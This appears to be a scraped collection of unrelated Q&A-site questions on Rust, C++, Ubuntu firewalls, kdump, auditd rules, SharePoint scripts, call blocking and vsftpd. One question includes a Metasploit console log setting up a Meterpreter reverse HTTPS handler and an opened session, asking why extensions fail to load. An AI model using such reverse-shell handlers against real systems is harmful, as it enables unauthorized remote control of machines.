Clone Vector in rust except at one index

Let’s consider you want to clone all items of a vector orig except the item of index i should be taken from alternative value alt.

Lets say the items are of the type

struct Bla{   // Some fields } 

Using for loop

On simple solution would be:

fn clone(orig: &Vec<Bla>, i: usize, alt: Bla) -> Vec<Bla> {   let cloned = Vec::new();   for (j, item) in orig.iter().enumerate() {     let new_item = if i != j {item.clone()} else {alt};     cloned.push(new_item);   }      cloned } 

Note: Does not compile, because the compiler does not know that i==j is only valid once.

Using functional style

The functional alternative would be the follow:

fn clone(orig: &Vec<Bla>, i: usize, alt: Bla) -> Vec<Bla> {   orig.iter().enumerate()     .map(|(j, item)| if i != j {item.clone()} else {alt})     .collect::<Vec<Bla>>() } 

The last one looks nice, but does not compile šŸ™ because the rust compiler does not know that alt gets moved (or consumed) only once (i==j).

Using mem replace

In order to fix the version above one can use a default value for the index which should be replaced.

fn clone(orig: &Vec<Bla>, i: usize, alt: Bla) -> Vec<Bla> {   let mut result = orig.iter().enumerate()     .map(|(j, item)| if i != j {item.clone()} else {Bla::default()})     .collect::<Vec<Bla>>();    mem::replace(&mut result[i], alt);   result } 

What is the most concise and fastest implementation to do so?

Meterpreter is failing to load any extension except the core commands

 [*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https msf5 exploit(multi/handler) > set LHOST 192.168.0.105 LHOST => 192.168.0.105 msf5 exploit(multi/handler) > set LPORT 8080 LPORT => 8080 msf5 exploit(multi/handler) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf5 exploit(multi/handler) >  [*] Started HTTPS reverse handler on https://192.168.0.105:8080 [*] https://192.168.0.105:8080 handling request from 192.168.0.101; (UUID: yfym4sqj) Staging x86 payload (180825 bytes) ... [*] Meterpreter session 1 opened (192.168.0.105:8080 -> 192.168.0.101:63026) at 2019-04-10 22:16:45 -0400  msf5 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1...  meterpreter > help  Core Commands =============      Command                   Description     -------                   -----------     ?                         Help menu     background                Backgrounds the current session     bg                        Alias for background     bgkill                    Kills a background meterpreter script     bglist                    Lists running background scripts     bgrun                     Executes a meterpreter script as a background thread     channel                   Displays information or control active channels     close                     Closes a channel     detach                    Detach the meterpreter session (for http/https)     disable_unicode_encoding  Disables encoding of unicode strings     enable_unicode_encoding   Enables encoding of unicode strings     exit                      Terminate the meterpreter session     get_timeouts              Get the current session timeout values     guid                      Get the session GUID     help                      Help menu     info                      Displays information about a Post module     irb                       Open an interactive Ruby shell on the current session     load                      Load one or more meterpreter extensions     machine_id                Get the MSF ID of the machine attached to the session     migrate                   Migrate the server to another process     pivot                     Manage pivot listeners     pry                       Open the Pry debugger on the current session     quit                      Terminate the meterpreter session     read                      Reads data from a channel     resource                  Run the commands stored in a file     run                       Executes a meterpreter script or Post module     sessions                  Quickly switch to another session     set_timeouts              Set the current session timeout values     sleep                     Force Meterpreter to go quiet, then re-establish session.     ssl_verify                Modify the SSL certificate verification setting     transport                 Change the current transport mechanism     use                       Deprecated alias for "load"     uuid                      Get the UUID for the current session     write                     Writes data to a channel  meterpreter > load stdapi Loading extension stdapi... [-] Failed to load extension: No response was received to the core_enumextcmd request. 

I am unable to load not only the stdapi but also all other extensions in meterpreter. If anybody can help I’d be thankful.

Can’t find kernel dump in /var/crash except when I simulate a kernel panic

I wish to find out how I can capture a kernel dump file when the VM running on Ubuntu 16.04 crashed/hanged. Below is what I have done so far.

  1. I installed linux-crashdump on the VM
  2. I edited /etc/default/kdump-tools to include the line

    USE_KDUMP=1 

    screenshot of file in text editor

  3. The VM had been crashing/hanging frequently but I failed to obtain any dump file from /var/crash folder after I had to restart the VM through vCenter to access the VM’s folder via putty.
  4. The only time I can successfully retrieve a kernel dump file is when I simulate a kernel panic.

Ubuntu block all outgoing connection except squid proxy traffic

i have ubuntu 14 server and i blocked all outgoing connection using ufw

ufw default deny outgoing 

and i installed squid 3 as a proxy, i want make something like a bridge, any out going connection that can go out, go out through squid and any other connection will be blocked.

i used

ufw allow out 3128 

but its not working.

how can i do that?

UFW block ALL except single IP:port

Before you say It’s duplicate… read! I wanted to use iptables to allow only 1 IP, but there were some issues with “state” whatever it means, and persistence of iptables.

Many people advised UFW, but I want zombie box, applied

sudo ufw default deny incoming

sudo ufw default deny outgoing

ping works, DNS works, how can I burn all using UFW but keep applications responsive based on “state” “lo” https://unix.stackexchange.com/a/11870/194331

“For example, not allowing -i lo and -o lo will certainly cause problems for certain applications”

I don’t need DNS and PING and anything, I put domain name into hosts file and I want to allow 100% only 1 IP over 443 port, no extras. Possible with UFW?

Auditd Log all executions except some scripts

I configured my auditd to log all execve syscalls using these rules:

-a exit,always -F arch=b32 -S execve -a exit,always -F arch=b64 -S execve 

While this perfectly captures all activity of any user on the system, obviously there is a lot of noise as well. I’ve added a few exceptions, like:

-a exit,never -F arch=b32 -S execve -F exe=/bin/date -a exit,never -F arch=b64 -S execve -F exe=/bin/date 

Now the only noise left, that I’d still like to exclude is the execution of some scripts, through /bin/sh. The auserach output of those looks like this:

type=PROCTITLE msg=audit(03/21/19 13:35:01.579:7561) : proctitle=/bin/sh /usr/lib/sysstat/debian-sa1 1 1  type=PATH msg=audit(03/21/19 13:35:01.579:7561) : item=2 name=/lib64/ld-linux-x86-64.so.2 inode=2228626 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0  type=PATH msg=audit(03/21/19 13:35:01.579:7561) : item=1 name=/bin/sh inode=1572884 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0  type=PATH msg=audit(03/21/19 13:35:01.579:7561) : item=0 name=/usr/lib/sysstat/debian-sa1 inode=1968913 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0  type=EXECVE msg=audit(03/21/19 13:35:01.579:7561) : argc=4 a0=/bin/sh a1=/usr/lib/sysstat/debian-sa1 a2=1 a3=1  type=SYSCALL msg=audit(03/21/19 13:35:01.579:7561) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x561ccb6c2510 a1=0x561ccb6c24b0 a2=0x561ccb6c24d0 a3=0x7fc8166fd810 items=3 ppid=16157 pid=16158 auid=root uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=52 comm=debian-sa1 exe=/bin/dash key=exec  

So /usr/lib/sysstat/debian-sa1 is executed using /bin/sh (which in this case is a link to /bin/dash). Here I obviously don’t want to exclude all executions of /bin/sh or /bin/dash, but only those to a handful of scripts I’m allowing.

Is there a way to specify such an exception? I tried something like this:

-a exit,never -F arch=b32 -S execve -F exe=/bin/dash -F path=/usr/lib/sysstat/debian-sa1 -a exit,never -F arch=b64 -S execve -F exe=/bin/dash -F path=/usr/lib/sysstat/debian-sa1 -a exit,never -F arch=b32 -S execve -F exe=/usr/lib/sysstat/debian-sa1 -a exit,never -F arch=b64 -S execve -F exe=/usr/lib/sysstat/debian-sa1 

but that didn’t work.

According to man auditctl(8) it’s also not possible to check a0,a1,... for a string, as pointers are used there. Am I missing something here, or is this simply not possible?

Error loading javascript code in content editor webpart in other browser except IE 11

I have added content editor webpart in NewForm.aspx in SP2013 and reading the code to javascript file called HideFields.ps1. The script is working as expected in IE 11 but not in Firefox, Chrome and Edge.

I got this error message in Firefox: enter image description here

So the script as below:

    <script type="text/javascript" src="https://code.jquery.com/jquery-1.10.1.min.js"></script>     <script type="text/javascript" language="javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery.SPServices/0.7.1a/jquery.SPServices-0.7.1a.min.js"></script>     <script type="text/javascript">      $  (document).ready(function() {       $  ().SPServices({       operation: "GetGroupCollectionFromUser",       userLoginName: $  ().SPServices.SPGetCurrentUser(),       async: false,       completefunc: function(xData, Status) {       var xml = xData.responseXML.xml;         //If the current User does belong to the group "Test Group"         if (xml.search('Test Group') == -1)          {              $  ('td.ms-formlabel:contains("Description")').parent().hide();             }           }       });      });     </script> 

Block all calls except for certain white-list patterns

Thanks in advance for any thoughts you might have. It seems that this should be a very simple question/concept, but damn me if I can find the answer I am looking for. I apologize if I missed something obvious.

My phone is a Note 8 on Verizon. I am looking for a call blocking app that will kill most incoming calls, but allow certain area codes to ring. That is, I would love to be able to use a wild card in the whitelist.

For example, I want to block any calls, except for those from area codes 314 and 302. Those calls should ring. But how can I white list the area code?

“Call Blocker” from VLMob.com seems to get close. It has the ability to block all calls, except those on a whitelist. But the whitelist does not seem to be like wild cards. Any thoughts? Alternative suggestions?

Thanks!

What is the best way to handle the scenario in C++ where there are two methods that are identical, except one is const?

I am currently working on a program in which I encountered an issue (not for the first time) where I have two acessor methods for a data structure. The methods are identical, except one is const and returns a const pointer while the other is non-const and returns a non-const pointer. The code in the methods is non-trivial, making it ideal to not duplicate it between the two methods for all the same reasons that code duplication is bad in general. What is the best way to solve this issue?

The only reasonable-seeming idea that I have is this, but I am not entirely convinced that this is best because 1) I am not sure if a const_cast is acceptable here with regard to undefined behavior and other violations of the C++ standardĀ¹, and 2) I have heard that a const_cast is a sign of bad code.

Node *NodeSet::getNode(int index){     const Node *node = static_cast<const NodeSet*>(this)->getNode(index);     return const_cast<Node*>(node); }  const Node *NodeSet::getNode(int index) const{     //non-trivial code to get the correct node } 

Ā¹: It is important to me that I write standard C++ that does not rely on any particular compiler to compile and run correctly.

vsptpd virtual user can’t log in except locally after port change

I have vsftpd running fine listening on the default port. I have virtual users configured to use PAM to authenticate passwords and chroot jailed into the home directory. All good.

I’d like to change the default port with listen_port=someport in the conf file. This almost works. After changing the default port I can log in on localhost at the terminal or using a browser pointing to localhost but on the LAN or WAN, the connection is refused.

Port forwarding isn’t the problem. When I have the default ftp ports forwarded from the router it works fine listening on the default port 21. Seems like forwarding the new port should work but I get connection refused. The fact that it’s refused, I think, must mean that the port is forwarded correctly and I’m getting a reply from vsftpd.

Here’s my vsftpd.conf

listen=YES

anonymous_enable=NO

local_enable=YES

write_enable=YES

local_umask=022

nopriv_user=vsftpd

virtual_use_local_privs=YES

guest_enable=YES

user_sub_token=$ USER

local_root=/var/www/$ USER

chroot_local_user=YES

hide_ids=YES

guest_username=vsftpd

chroot_list_enable=YES

xferlog_enable=YES

xferlog_std_format=YES

xferlog_file=/var/log/vsftpd.log

Adding listen_port=whatever to this leaves me able to log on locally but not anywhere outside of my machine. I’m adding that one line and not changing or removing any others.

Any clues? Thanks for looking.